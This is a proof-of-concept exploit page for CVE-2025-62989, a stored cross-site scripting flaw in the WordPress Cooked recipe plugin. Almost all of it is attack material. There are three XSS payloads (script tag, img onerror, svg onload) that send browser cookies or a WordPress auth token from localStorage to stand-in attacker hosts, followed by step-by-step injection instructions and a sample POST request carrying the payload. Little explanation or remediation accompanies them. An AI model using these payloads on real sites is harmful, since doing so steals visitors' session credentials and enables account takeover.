CVE-2025-62989

<!-- CVE-2025-62989 PoC: Stored XSS in WordPress Cooked Plugin --> <!-- Attack requires high privileges (admin/editor role) --> <!-- Method 1: Exploit via Recipe Title Field --> <script> fetch('https://attacker.com/log?cookie=' + document.cookie); </script> <!-- Method 2: Exploit via Recipe Description (Bypass with encoded payload) --> <img src=x onerror="fetch('https://attacker.com/log?c='+btoa(document.cookie))"> <!-- Method 3: Using Event Handlers --> <svg/onload=fetch('https://attacker.com/exfil?data='+localStorage.getItem('wp_auth'))> <!-- Exploitation Steps: 1. Login to WordPress with admin/editor privileges 2. Navigate to Cooked > Add New Recipe 3. Insert XSS payload in recipe title, description, or ingredients field 4. Publish/Save the recipe 5. Any user viewing the recipe page will execute the injected JavaScript --> <!-- Sample HTTP POST Request --> POST /wp-admin/admin.php?page=cooked-recipes&action=new HTTP/1.1 Host: target.com Cookie: [admin_cookie] Content-Type: application/x-www-form-urlencoded recipe_title=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>&recipe_description=Test&recipe_publish=1

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